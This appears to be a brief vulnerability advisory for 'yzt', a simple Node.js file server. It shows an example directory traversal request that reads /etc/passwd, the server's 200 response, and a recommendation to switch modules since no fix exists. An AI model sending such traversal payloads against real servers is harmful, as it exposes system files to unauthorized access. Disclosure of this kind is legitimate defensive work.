Directory Traversal

2017-10-10T22:08:21
ID NODEJS:416
Type nodejs
Reporter Liang Gong
Modified 2017-10-10T22:08:21

Description

Overview

yzt is a simple file server.

yzt is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing "../" in the url.

Example Request:

GET /../../../../../../../../../../etc/passwd HTTP/1.1
host:localhost

and the server's Response

HTTP/1.1 200 OK
Date: Thu, 04 May 2017 23:59:18 GMT
Connection: keep-alive
Transfer-Encoding: chunked

{contents of /etc/passwd}

Remediation

Because there is no fix currently, we recommend using a different module.

References